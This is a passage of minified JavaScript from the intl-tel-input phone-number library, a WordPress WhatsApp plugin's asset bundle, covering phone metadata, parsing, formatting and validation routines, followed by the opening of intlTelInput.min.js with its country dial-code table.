,,,"3421234",,,[7,8,9,10,12]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"1(?:3(?:0[0347]|[13][0139]|2[035]|4[013568]|6[0459]|7[06]|8[15-8]|9[0689])\\d{4}|6\\d{5,10})|(?:345\\d|9[89])\\d{6}|(?:10|2(?:3|85\\d)|3(?:[15]|[69]\\d\\d)|4[15-8]|51)\\d{8}",,,,"390123456789"],"001",882,,,,,,,,,[[,"(\\d{2})(\\d{5})","$1 $2",["16|342"]],[,"(\\d{2})(\\d{6})","$1 $2",["49"]],[,"(\\d{2})(\\d{2})(\\d{4})","$1 $2 $3",["1[36]|9"]],[,"(\\d{2})(\\d{4})(\\d{3})","$1 $2 $3",["3[23]"]],[,"(\\d{2})(\\d{3,4})(\\d{4})",
"$1 $2 $3",["16"]],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["10|23|3(?:[15]|4[57])|4|51"]],[,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["34"]],[,"(\\d{2})(\\d{4,5})(\\d{5})","$1 $2 $3",["[1-35]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,"348[57]\\d{7}",,,,"34851234567",,,[11]]],883:[,[,,"(?:[1-4]\\d|51)\\d{6,10}",,,,,,,[8,9,10,11,12]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"(?:2(?:00\\d\\d|10)|(?:370[1-9]|51\\d0)\\d)\\d{7}|51(?:00\\d{5}|[24-9]0\\d{4,7})|(?:1[0-79]|2[24-689]|3[02-689]|4[0-4])0\\d{5,9}",
,,,"510012345"],"001",883,,,,,,,,1,[[,"(\\d{3})(\\d{3})(\\d{2,8})","$1 $2 $3",["[14]|2[24-689]|3[02-689]|51[24-9]"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["510"]],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["21"]],[,"(\\d{4})(\\d{4})(\\d{4})","$1 $2 $3",["51[13]"]],[,"(\\d{3})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["[235]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],888:[,[,,"\\d{11}",,,,,,,[11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,
,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"001",888,,,,,,,,1,[[,"(\\d{3})(\\d{3})(\\d{5})","$1 $2 $3"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"\\d{11}",,,,"12345678901"],,,[,,,,,,,,,[-1]]],979:[,[,,"[1359]\\d{8}",,,,,,,[9],[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"[1359]\\d{8}",,,,"123456789",,,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"001",979,,,,,,,,1,[[,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["[1359]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]]};/*

 Copyright (C) 2010 The Libphonenumber Authors.

 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
 You may obtain a copy of the License at

 http://www.apache.org/licenses/LICENSE-2.0

 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
*/
function J(){this.g={}}J.h=void 0;J.g=function(){return J.h?J.h:J.h=new J};
var Fa={0:"0",1:"1",2:"2",3:"3",4:"4",5:"5",6:"6",7:"7",8:"8",9:"9","\uff10":"0","\uff11":"1","\uff12":"2","\uff13":"3","\uff14":"4","\uff15":"5","\uff16":"6","\uff17":"7","\uff18":"8","\uff19":"9","\u0660":"0","\u0661":"1","\u0662":"2","\u0663":"3","\u0664":"4","\u0665":"5","\u0666":"6","\u0667":"7","\u0668":"8","\u0669":"9","\u06f0":"0","\u06f1":"1","\u06f2":"2","\u06f3":"3","\u06f4":"4","\u06f5":"5","\u06f6":"6","\u06f7":"7","\u06f8":"8","\u06f9":"9"},Ga={0:"0",1:"1",2:"2",3:"3",4:"4",5:"5",6:"6",
7:"7",8:"8",9:"9","+":"+","*":"*","#":"#"},Ha={0:"0",1:"1",2:"2",3:"3",4:"4",5:"5",6:"6",7:"7",8:"8",9:"9","\uff10":"0","\uff11":"1","\uff12":"2","\uff13":"3","\uff14":"4","\uff15":"5","\uff16":"6","\uff17":"7","\uff18":"8","\uff19":"9","\u0660":"0","\u0661":"1","\u0662":"2","\u0663":"3","\u0664":"4","\u0665":"5","\u0666":"6","\u0667":"7","\u0668":"8","\u0669":"9","\u06f0":"0","\u06f1":"1","\u06f2":"2","\u06f3":"3","\u06f4":"4","\u06f5":"5","\u06f6":"6","\u06f7":"7","\u06f8":"8","\u06f9":"9",A:"2",
B:"2",C:"2",D:"3",E:"3",F:"3",G:"4",H:"4",I:"4",J:"5",K:"5",L:"5",M:"6",N:"6",O:"6",P:"7",Q:"7",R:"7",S:"7",T:"8",U:"8",V:"8",W:"9",X:"9",Y:"9",Z:"9"},Ia=RegExp("[+\uff0b]+"),K=RegExp("^[+\uff0b]+"),Ja=RegExp("([0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9])"),Ka=RegExp("[+\uff0b0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9]"),La=/[\\\/] *x/,Ma=RegExp("[^0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9A-Za-z#]+$"),Na=/(?:.*?[A-Za-z]){3}.*/,Oa=RegExp("^\\+([0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9]|[\\-\\.\\(\\)]?)*[0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9]([0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9]|[\\-\\.\\(\\)]?)*$"),
Pa=RegExp("^([A-Za-z0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9]+((\\-)*[A-Za-z0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9])*\\.)*[A-Za-z]+((\\-)*[A-Za-z0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9])*\\.?$");function L(a){return"([0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9]{1,"+a+"})"}
function Qa(){return";ext="+L("20")+"|[ \u00a0\\t,]*(?:e?xt(?:ensi(?:o\u0301?|\u00f3))?n?|\uff45?\uff58\uff54\uff4e?|\u0434\u043e\u0431|anexo)[:\\.\uff0e]?[ \u00a0\\t,-]*"+(L("20")+"#?|[ \u00a0\\t,]*(?:[x\uff58#\uff03~\uff5e]|int|\uff49\uff4e\uff54)[:\\.\uff0e]?[ \u00a0\\t,-]*")+(L("9")+"#?|[- ]+")+(L("6")+"#|[ \u00a0\\t]*(?:,{2}|;)[:\\.\uff0e]?[ \u00a0\\t,-]*")+(L("15")+"#?|[ \u00a0\\t]*(?:,)+[:\\.\uff0e]?[ \u00a0\\t,-]*")+(L("9")+"#?")}
var Ra=new RegExp("(?:"+Qa()+")$","i"),Sa=new RegExp("^[0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9]{2}$|^[+\uff0b]*(?:[-x\u2010-\u2015\u2212\u30fc\uff0d-\uff0f \u00a0\u00ad\u200b\u2060\u3000()\uff08\uff09\uff3b\uff3d.\\[\\]/~\u2053\u223c\uff5e*]*[0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9]){3,}[-x\u2010-\u2015\u2212\u30fc\uff0d-\uff0f \u00a0\u00ad\u200b\u2060\u3000()\uff08\uff09\uff3b\uff3d.\\[\\]/~\u2053\u223c\uff5e*A-Za-z0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9]*(?:"+Qa()+")?$","i"),Ta=/(\$\d)/,
Ua=/^\(?\$1\)?$/;function Va(a){return 2>a.length?!1:M(Sa,a)}function Wa(a){return M(Na,a)?N(a,Ha):N(a,Fa)}function Xa(a){var b=Wa(a.toString());D(a);a.g(b)}function Ya(a){return null!=a&&(1!=x(a,9)||-1!=u(a,9)[0])}function N(a,b){for(var c=new C,d,e=a.length,f=0;f<e;++f)d=a.charAt(f),d=b[d.toUpperCase()],null!=d&&c.g(d);return c.toString()}function Za(a){return 0==a.length||Ua.test(a)}function O(a){return null!=a&&isNaN(a)&&a.toUpperCase()in Ea}
J.prototype.format=function(a,b){if(0==r(a,2)&&q(a,5)){var c=w(a,5);if(0<c.length)return c}c=w(a,1);var d=P(a);if(0==b)return $a(c,0,d,"");if(!(c in I))return d;var e=Q(this,c,R(c));a=q(a,3)&&0!=r(a,3).length?3==b?";ext="+r(a,3):q(e,13)?r(e,13)+w(a,3):" ext. "+w(a,3):"";a:{e=0==u(e,20).length||2==b?u(e,19):u(e,20);for(var f,g=e.length,h=0;h<g;++h){f=e[h];var l=x(f,3);if(0==l||0==d.search(r(f,3,l-1)))if(l=new RegExp(r(f,1)),M(l,d)){e=f;break a}}e=null}null!=e&&(g=e,e=w(g,2),f=new RegExp(r(g,1)),w(g,
5),g=w(g,4),d=2==b&&null!=g&&0<g.length?d.replace(f,e.replace(Ta,g)):d.replace(f,e),3==b&&(d=d.replace(RegExp("^[-x\u2010-\u2015\u2212\u30fc\uff0d-\uff0f \u00a0\u00ad\u200b\u2060\u3000()\uff08\uff09\uff3b\uff3d.\\[\\]/~\u2053\u223c\uff5e]+"),""),d=d.replace(RegExp("[-x\u2010-\u2015\u2212\u30fc\uff0d-\uff0f \u00a0\u00ad\u200b\u2060\u3000()\uff08\uff09\uff3b\uff3d.\\[\\]/~\u2053\u223c\uff5e]+","g"),"-")));return $a(c,b,d,a)};function Q(a,b,c){return"001"==c?S(a,""+b):S(a,c)}
function P(a){if(!q(a,2))return"";var b=""+r(a,2);return q(a,4)&&r(a,4)&&0<w(a,8)?Array(w(a,8)+1).join("0")+b:b}function $a(a,b,c,d){switch(b){case 0:return"+"+a+c+d;case 1:return"+"+a+" "+c+d;case 3:return"tel:+"+a+"-"+c+d;default:return c+d}}
function T(a,b){switch(b){case 4:return r(a,5);case 3:return r(a,4);case 1:return r(a,3);case 0:case 2:return r(a,2);case 5:return r(a,6);case 6:return r(a,8);case 7:return r(a,7);case 8:return r(a,21);case 9:return r(a,25);case 10:return r(a,28);default:return r(a,1)}}function ab(a,b){return U(a,r(b,1))?U(a,r(b,5))?4:U(a,r(b,4))?3:U(a,r(b,6))?5:U(a,r(b,8))?6:U(a,r(b,7))?7:U(a,r(b,21))?8:U(a,r(b,25))?9:U(a,r(b,28))?10:U(a,r(b,2))?r(b,18)||U(a,r(b,3))?2:0:!r(b,18)&&U(a,r(b,3))?1:-1:-1}
function S(a,b){if(null==b)return null;b=b.toUpperCase();var c=a.g[b];if(null==c){c=Ea[b];if(null==c)return null;c=(new B).g(G.m(),c);a.g[b]=c}return c}function U(a,b){var c=a.length;return 0<x(b,9)&&-1==u(b,9).indexOf(c)?!1:M(w(b,2),a)}
function bb(a,b){if(null==b)return null;var c=w(b,1);c=I[c];if(null==c)a=null;else if(1==c.length)a=c[0];else a:{b=P(b);for(var d,e=c.length,f=0;f<e;f++){d=c[f];var g=S(a,d);if(q(g,23)){if(0==b.search(r(g,23))){a=d;break a}}else if(-1!=ab(b,g)){a=d;break a}}a=null}return a}function R(a){a=I[a];return null==a?"ZZ":a[0]}function cb(a,b){a=S(a,b);if(null==a)throw Error("Invalid region code: "+b);return w(a,10)}
function V(a,b,c,d){var e=T(c,d),f=0==x(e,9)?u(r(c,1),9):u(e,9);e=u(e,10);if(2==d)if(Ya(T(c,0)))a=T(c,1),Ya(a)&&(f=f.concat(0==x(a,9)?u(r(c,1),9):u(a,9)),f.sort(),0==e.length?e=u(a,10):(e=e.concat(u(a,10)),e.sort()));else return V(a,b,c,1);if(-1==f[0])return 5;b=b.length;if(-1<e.indexOf(b))return 4;c=f[0];return c==b?0:c>b?2:f[f.length-1]<b?3:-1<f.indexOf(b,1)?0:5}function W(a,b,c){var d=P(b);b=w(b,1);if(!(b in I))return 1;b=Q(a,b,R(b));return V(a,d,b,c)}
function db(a,b){a=a.toString();if(0==a.length||"0"==a.charAt(0))return 0;for(var c,d=a.length,e=1;3>=e&&e<=d;++e)if(c=parseInt(a.substring(0,e),10),c in I)return b.g(a.substring(e)),c;return 0}
function eb(a,b,c,d,e,f){if(0==b.length)return 0;b=new C(b);var g;null!=c&&(g=r(c,11));null==g&&(g="NonMatch");var h=b.toString();if(0==h.length)g=20;else if(K.test(h))h=h.replace(K,""),D(b),b.g(Wa(h)),g=1;else{h=new RegExp(g);Xa(b);g=b.toString();if(0==g.search(h)){h=g.match(h)[0].length;var l=g.substring(h).match(Ja);l&&null!=l[1]&&0<l[1].length&&"0"==N(l[1],Fa)?g=!1:(D(b),b.g(g.substring(h)),g=!0)}else g=!1;g=g?5:20}e&&t(f,6,g);if(20!=g){if(2>=b.h.length)throw Error("Phone number too short after IDD");
a=db(b,d);if(0!=a)return t(f,1,a),a;throw Error("Invalid country calling code");}if(null!=c&&(g=w(c,10),h=""+g,l=b.toString(),0==l.lastIndexOf(h,0)&&(h=new C(l.substring(h.length)),l=r(c,1),l=new RegExp(w(l,2)),fb(h,c,null),h=h.toString(),!M(l,b.toString())&&M(l,h)||3==V(a,b.toString(),c,-1))))return d.g(h),e&&t(f,6,10),t(f,1,g),g;t(f,1,0);return 0}
function fb(a,b,c){var d=a.toString(),e=d.length,f=r(b,15);if(0!=e&&null!=f&&0!=f.length){var g=new RegExp("^(?:"+f+")");if(e=g.exec(d)){f=new RegExp(w(r(b,1),2));var h=M(f,d),l=e.length-1;b=r(b,16);if(null==b||0==b.length||null==e[l]||0==e[l].length){if(!h||M(f,d.substring(e[0].length)))null!=c&&0<l&&null!=e[l]&&c.g(e[1]),a.set(d.substring(e[0].length))}else if(d=d.replace(g,b),!h||M(f,d))null!=c&&0<l&&c.g(e[1]),a.set(d)}}}
function X(a,b,c){if(!O(c)&&0<b.length&&"+"!=b.charAt(0))throw Error("Invalid country calling code");return gb(a,b,c,!0)}
function gb(a,b,c,d){if(null==b)throw Error("The string supplied did not seem to be a phone number");if(250<b.length)throw Error("The string supplied is too long to be a phone number");var e=new C;var f=b.indexOf(";phone-context=");if(-1===f)f=null;else if(f+=15,f>=b.length)f="";else{var g=b.indexOf(";",f);f=-1!==g?b.substring(f,g):b.substring(f)}var h=f;null==h?g=!0:0===h.length?g=!1:(g=Oa.exec(h),h=Pa.exec(h),g=null!==g||null!==h);if(!g)throw Error("The string supplied did not seem to be a phone number");
null!=f?("+"===f.charAt(0)&&e.g(f),f=b.indexOf("tel:"),e.g(b.substring(0<=f?f+4:0,b.indexOf(";phone-context=")))):(f=e.g,g=b??"",h=g.search(Ka),0<=h?(g=g.substring(h),g=g.replace(Ma,""),h=g.search(La),0<=h&&(g=g.substring(0,h))):g="",f.call(e,g));f=e.toString();g=f.indexOf(";isub=");0<g&&(D(e),e.g(f.substring(0,g)));if(!Va(e.toString()))throw Error("The string supplied did not seem to be a phone number");f=e.toString();if(!(O(c)||null!=f&&0<f.length&&K.test(f)))throw Error("Invalid country calling code");
f=new H;d&&t(f,5,b);a:{b=e.toString();g=b.search(Ra);if(0<=g&&Va(b.substring(0,g))){h=b.match(Ra);for(var l=h.length,A=1;A<l;++A)if(null!=h[A]&&0<h[A].length){D(e);e.g(b.substring(0,g));b=h[A];break a}}b=""}0<b.length&&t(f,3,b);g=S(a,c);b=new C;h=0;l=e.toString();try{h=eb(a,l,g,b,d,f)}catch(da){if("Invalid country calling code"==da.message&&K.test(l)){if(l=l.replace(K,""),h=eb(a,l,g,b,d,f),0==h)throw da;}else throw da;}0!=h?(e=R(h),e!=c&&(g=Q(a,h,e))):(Xa(e),b.g(e.toString()),null!=c?(h=w(g,10),t(f,
1,h)):d&&(delete f.h[6],f.g&&delete f.g[6]));if(2>b.h.length)throw Error("The string supplied is too short to be a phone number");null!=g&&(c=new C,e=new C(b.toString()),fb(e,g,c),a=V(a,e.toString(),g,-1),2!=a&&4!=a&&5!=a&&(b=e,d&&0<c.toString().length&&t(f,7,c.toString())));d=b.toString();a=d.length;if(2>a)throw Error("The string supplied is too short to be a phone number");if(17<a)throw Error("The string supplied is too long to be a phone number");if(1<d.length&&"0"==d.charAt(0)){t(f,4,!0);for(a=
1;a<d.length-1&&"0"==d.charAt(a);)a++;1!=a&&t(f,8,a)}t(f,2,parseInt(d,10));return f}function M(a,b){return(a="string"==typeof a?b.match("^(?:"+a+")$"):b.match(a))&&a[0].length==b.length?!0:!1};function hb(a){this.fa=RegExp("\u2008");this.ja="";this.v=new C;this.da="";this.s=new C;this.ba=new C;this.u=!0;this.ea=this.ca=this.la=!1;this.ga=J.g();this.$=0;this.h=new C;this.ha=!1;this.o="";this.g=new C;this.j=[];this.ka=a;this.l=ib(this,this.ka)}var jb=new G;t(jb,11,"NA");
var kb=RegExp("^[-x\u2010-\u2015\u2212\u30fc\uff0d-\uff0f \u00a0\u00ad\u200b\u2060\u3000()\uff08\uff09\uff3b\uff3d.\\[\\]/~\u2053\u223c\uff5e]*\\$1[-x\u2010-\u2015\u2212\u30fc\uff0d-\uff0f \u00a0\u00ad\u200b\u2060\u3000()\uff08\uff09\uff3b\uff3d.\\[\\]/~\u2053\u223c\uff5e]*(\\$\\d[-x\u2010-\u2015\u2212\u30fc\uff0d-\uff0f \u00a0\u00ad\u200b\u2060\u3000()\uff08\uff09\uff3b\uff3d.\\[\\]/~\u2053\u223c\uff5e]*)*$"),lb=/[- ]/;
function ib(a,b){var c=a.ga;b=O(b)?cb(c,b):0;a=S(a.ga,R(b));return null!=a?a:jb}function mb(a){for(var b=a.j.length,c=0;c<b;++c){var d=a.j[c],e=w(d,1);if(a.da==e)return!1;var f=a;var g=d,h=w(g,1);D(f.v);var l=f;g=w(g,2);var A="999999999999999".match(h)[0];A.length<l.g.h.length?l="":(l=A.replace(new RegExp(h,"g"),g),l=l.replace(RegExp("9","g"),"\u2008"));0<l.length?(f.v.g(l),f=!0):f=!1;if(f)return a.da=e,a.ha=lb.test(r(d,4)),a.$=0,!0}return a.u=!1}
function nb(a,b){for(var c=[],d=b.length-3,e=a.j.length,f=0;f<e;++f){var g=a.j[f];0==x(g,3)?c.push(a.j[f]):(g=r(g,3,Math.min(d,x(g,3)-1)),0==b.search(g)&&c.push(a.j[f]))}a.j=c}
function ob(a,b){a.s.g(b);var c=b;Ja.test(c)||1==a.s.h.length&&Ia.test(c)?("+"==b?(c=b,a.ba.g(b)):(c=Fa[b],a.ba.g(c),a.g.g(c)),b=c):(a.u=!1,a.la=!0);if(!a.u){if(!a.la)if(pb(a)){if(qb(a))return rb(a)}else if(0<a.o.length&&(b=a.g.toString(),D(a.g),a.g.g(a.o),a.g.g(b),b=a.h.toString(),c=b.lastIndexOf(a.o),D(a.h),a.h.g(b.substring(0,c))),a.o!=sb(a))return a.h.g(" "),rb(a);return a.s.toString()}switch(a.ba.h.length){case 0:case 1:case 2:return a.s.toString();case 3:if(pb(a))a.ea=!0;else return a.o=sb(a),
tb(a);default:if(a.ea)return qb(a)&&(a.ea=!1),a.h.toString()+a.g.toString();if(0<a.j.length){b=ub(a,b);c=vb(a);if(0<c.length)return c;nb(a,a.g.toString());return mb(a)?wb(a):a.u?Y(a,b):a.s.toString()}return tb(a)}}function rb(a){a.u=!0;a.ea=!1;a.j=[];a.$=0;D(a.v);a.da="";return tb(a)}
function vb(a){for(var b=a.g.toString(),c=a.j.length,d=0;d<c;++d){var e=a.j[d],f=w(e,1);if((new RegExp("^(?:"+f+")$")).test(b)&&(a.ha=lb.test(r(e,4)),e=b.replace(new RegExp(f,"g"),r(e,2)),e=Y(a,e),N(e,Ga)==a.ba))return e}return""}function Y(a,b){var c=a.h.h.length;return a.ha&&0<c&&" "!=a.h.toString().charAt(c-1)?a.h+" "+b:a.h+b}
function tb(a){var b=a.g.toString();if(3<=b.length){for(var c=a.ca&&0==a.o.length&&0<x(a.l,20)?u(a.l,20):u(a.l,19),d=c.length,e=0;e<d;++e){var f=c[e];0<a.o.length&&Za(w(f,4))&&!r(f,6)&&!q(f,5)||(0!=a.o.length||a.ca||Za(w(f,4))||r(f,6))&&kb.test(w(f,2))&&a.j.push(f)}nb(a,b);b=vb(a);return 0<b.length?b:mb(a)?wb(a):a.s.toString()}return Y(a,b)}function wb(a){var b=a.g.toString(),c=b.length;if(0<c){for(var d="",e=0;e<c;e++)d=ub(a,b.charAt(e));return a.u?Y(a,d):a.s.toString()}return a.h.toString()}
function sb(a){var b=a.g.toString(),c=0;if(1!=r(a.l,10))var d=!1;else d=a.g.toString(),d="1"==d.charAt(0)&&"0"!=d.charAt(1)&&"1"!=d.charAt(1);d?(c=1,a.h.g("1").g(" "),a.ca=!0):q(a.l,15)&&(d=new RegExp("^(?:"+r(a.l,15)+")"),d=b.match(d),null!=d&&null!=d[0]&&0<d[0].length&&(a.ca=!0,c=d[0].length,a.h.g(b.substring(0,c))));D(a.g);a.g.g(b.substring(c));return b.substring(0,c)}
function pb(a){var b=a.ba.toString(),c=new RegExp("^(?:\\+|"+r(a.l,11)+")");c=b.match(c);return null!=c&&null!=c[0]&&0<c[0].length?(a.ca=!0,c=c[0].length,D(a.g),a.g.g(b.substring(c)),D(a.h),a.h.g(b.substring(0,c)),"+"!=b.charAt(0)&&a.h.g(" "),!0):!1}function qb(a){if(0==a.g.h.length)return!1;var b=new C,c=db(a.g,b);if(0==c)return!1;D(a.g);a.g.g(b.toString());b=R(c);"001"==b?a.l=S(a.ga,""+c):b!=a.ka&&(a.l=ib(a,b));a.h.g(""+c).g(" ");a.o="";return!0}
function ub(a,b){var c=a.v.toString();if(0<=c.substring(a.$).search(a.fa)){var d=c.search(a.fa);b=c.replace(a.fa,b);D(a.v);a.v.g(b);a.$=d;return b.substring(0,a.$+1)}1==a.j.length&&(a.u=!1);a.da="";return a.s.toString()};const Z={FIXED_LINE:0,MOBILE:1,FIXED_LINE_OR_MOBILE:2,TOLL_FREE:3,PREMIUM_RATE:4,SHARED_COST:5,VOIP:6,PERSONAL_NUMBER:7,PAGER:8,UAN:9,VOICEMAIL:10,UNKNOWN:-1};m("intlTelInputUtilsTemp",{});m("intlTelInputUtilsTemp.formatNumberAsYouType",(a,b)=>{try{const c=a.replace(/[^+0-9]/g,""),d=new hb(b);b="";for(let e=0;e<c.length;e++)d.ja=ob(d,c.charAt(e)),b=d.ja;return b}catch{return a}});
m("intlTelInputUtilsTemp.formatNumber",(a,b,c)=>{try{const e=J.g(),f=X(e,a,b);var d=W(e,f,-1);return 0==d||4==d?e.format(f,"undefined"===typeof c?0:c):a}catch{return a}});m("intlTelInputUtilsTemp.getExampleNumber",(a,b,c,d)=>{try{const l=J.g();a:{var e=l;if(O(a)){var f=T(S(e,a),c);try{if(q(f,6)){var g=r(f,6);var h=gb(e,g,a,!1);break a}}catch(A){}}h=null}return l.format(h,d?0:b?2:1)}catch{return""}});m("intlTelInputUtilsTemp.getExtension",(a,b)=>{try{return r(X(J.g(),a,b),3)}catch{return""}});
m("intlTelInputUtilsTemp.getNumberType",(a,b)=>{try{const g=J.g(),h=X(g,a,b);var c=bb(g,h),d=Q(g,w(h,1),c);if(null==d)var e=-1;else{var f=P(h);e=ab(f,d)}return e}catch{return-99}});
m("intlTelInputUtilsTemp.getValidationError",(a,b)=>{if(!b)return 1;try{const c=J.g(),d=X(c,a,b);return W(c,d,-1)}catch(c){return"Invalid country calling code"===c.message?1:3>=a.length||"Phone number too short after IDD"===c.message||"The string supplied is too short to be a phone number"===c.message?2:"The string supplied is too long to be a phone number"===c.message?3:-99}});
m("intlTelInputUtilsTemp.isValidNumber",(a,b)=>{try{const l=J.g();var c=X(l,a,b),d=bb(l,c);a=l;var e=w(c,1),f=Q(a,e,d);if(null==f||"001"!=d&&e!=cb(a,d))var g=!1;else{var h=P(c);g=-1!=ab(h,f)}return g}catch{return!1}});m("intlTelInputUtilsTemp.isPossibleNumber",(a,b,c)=>{try{const d=J.g(),e=X(d,a,b);if(c){const f=0===W(d,e,Z[c]);if("FIXED_LINE_OR_MOBILE"===c){const g=0===W(d,e,Z.MOBILE),h=0===W(d,e,Z.FIXED_LINE);return g||h||f}return f}return 0===W(d,e,-1)}catch{return!1}});
m("intlTelInputUtilsTemp.getCoreNumber",(a,b)=>{try{return r(X(J.g(),a,b),2).toString()}catch{return""}});m("intlTelInputUtilsTemp.numberFormat",{E164:0,INTERNATIONAL:1,NATIONAL:2,RFC3966:3});m("intlTelInputUtilsTemp.numberType",Z);m("intlTelInputUtilsTemp.validationError",{IS_POSSIBLE:0,INVALID_COUNTRY_CODE:1,TOO_SHORT:2,TOO_LONG:3,IS_POSSIBLE_LOCAL_ONLY:4,INVALID_LENGTH:5});})();
const utils = window.intlTelInputUtilsTemp;
delete window.intlTelInputUtilsTemp;
export default utils;
click-to-chat-for-whatsapp/new/admin/admin_assets/intl/js/intlTelInput.min.js000064400000074635147510273110023307 0ustar00/*
 * International Telephone Input v24.5.0
 * https://github.com/jackocnr/intl-tel-input.git
 * Licensed under the MIT license
 */

// UMD
(function(factory) {
  if (typeof module === 'object' && module.exports) {
    module.exports = factory();
  } else {
    window.intlTelInput = factory();
  }
}(() => {

var factoryOutput=(()=>{var L=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var O=Object.getOwnPropertyNames;var H=Object.prototype.hasOwnProperty;var R=(a,t)=>{for(var e in t)L(a,e,{get:t[e],enumerable:!0})},F=(a,t,e,i)=>{if(t&&typeof t=="object"||typeof t=="function")for(let n of O(t))!H.call(a,n)&&n!==e&&L(a,n,{get:()=>t[n],enumerable:!(i=x(t,n))||i.enumerable});return a};var B=a=>F(L({},"__esModule",{value:!0}),a);var q={};R(q,{Iti:()=>I,default:()=>G});var D=[["af","93"],["ax","358",1,["18"]],["al","355"],["dz","213"],["as","1",5,["684"]],["ad","376"],["ao","244"],["ai","1",6,["264"]],["ag","1",7,["268"]],["ar","54"],["am","374"],["aw","297"],["ac","247"],["au","61",0],["at","43"],["az","994"],["bs","1",8,["242"]],["bh","973"],["bd","880"],["bb","1",9,["246"]],["by","375"],["be","32"],["bz","501"],["bj","229"],["bm","1",10,["441"]],["bt","975"],["bo","591"],["ba","387"],["bw","267"],["br","55"],["io","246"],["vg","1",11,["284"]],["bn","673"],["bg","359"],["bf","226"],["bi","257"],["kh","855"],["cm","237"],["ca","1",1,["204","226","236","249","250","263","289","306","343","354","365","367","368","382","387","403","416","418","428","431","437","438","450","584","468","474","506","514","519","548","579","581","584","587","604","613","639","647","672","683","705","709","742","753","778","780","782","807","819","825","867","873","879","902","905"]],["cv","238"],["bq","599",1,["3","4","7"]],["ky","1",12,["345"]],["cf","236"],["td","235"],["cl","56"],["cn","86"],["cx","61",2,["89164"]],["cc","61",1,["89162"]],["co","57"],["km","269"],["cg","242"],["cd","243"],["ck","682"],["cr","506"],["ci","225"],["hr","385"],["cu","53"],["cw","599",0],["cy","357"],["cz","420"],["dk","45"],["dj","253"],["dm","1",13,["767"]],["do","1",2,["809","829","849"]],["ec","593"],["eg","20"],["sv","503"],["gq","240"],["er","291"],["ee","372"],["sz","268"],["et","251"],["fk","500"],["fo","298"],["fj","679"],["fi","358",0],["fr","33"],["gf","594"],["pf","689"],["ga","241"],["gm","220"],["ge","995"],["de","49"],["gh","233"],["gi","350"],["gr","30"],["gl","299"],["gd","1",14,["473"]],["gp","590",0],["gu","1",15,["671"]],["gt","502"],["gg","44",1,["1481","7781","7839","7911"]],["gn","224"],["gw","245"],["gy","592"],["ht","509"],["hn","504"],["hk","852"],["hu","36"],["is","354"],["in","91"],["id","62"],["ir","98"],["iq","964"],["ie","353"],["im","44",2,["1624","74576","7524","7924","7624"]],["il","972"],["it","39",0],["jm","1",4,["876","658"]],["jp","81"],["je","44",3,["1534","7509","7700","7797","7829","7937"]],["jo","962"],["kz","7",1,["33","7"]],["ke","254"],["ki","686"],["xk","383"],["kw","965"],["kg","996"],["la","856"],["lv","371"],["lb","961"],["ls","266"],["lr","231"],["ly","218"],["li","423"],["lt","370"],["lu","352"],["mo","853"],["mg","261"],["mw","265"],["my","60"],["mv","960"],["ml","223"],["mt","356"],["mh","692"],["mq","596"],["mr","222"],["mu","230"],["yt","262",1,["269","639"]],["mx","52"],["fm","691"],["md","373"],["mc","377"],["mn","976"],["me","382"],["ms","1",16,["664"]],["ma","212",0],["mz","258"],["mm","95"],["na","264"],["nr","674"],["np","977"],["nl","31"],["nc","687"],["nz","64"],["ni","505"],["ne","227"],["ng","234"],["nu","683"],["nf","672"],["kp","850"],["mk","389"],["mp","1",17,["670"]],["no","47",0],["om","968"],["pk","92"],["pw","680"],["ps","970"],["pa","507"],["pg","675"],["py","595"],["pe","51"],["ph","63"],["pl","48"],["pt","351"],["pr","1",3,["787","939"]],["qa","974"],["re","262",0],["ro","40"],["ru","7",0],["rw","250"],["ws","685"],["sm","378"],["st","239"],["sa","966"],["sn","221"],["rs","381"],["sc","248"],["sl","232"],["sg","65"],["sx","1",21,["721"]],["sk","421"],["si","386"],["sb","677"],["so","252"],["za","27"],["kr","82"],["ss","211"],["es","34"],["lk","94"],["bl","590",1],["sh","290"],["kn","1",18,["869"]],["lc","1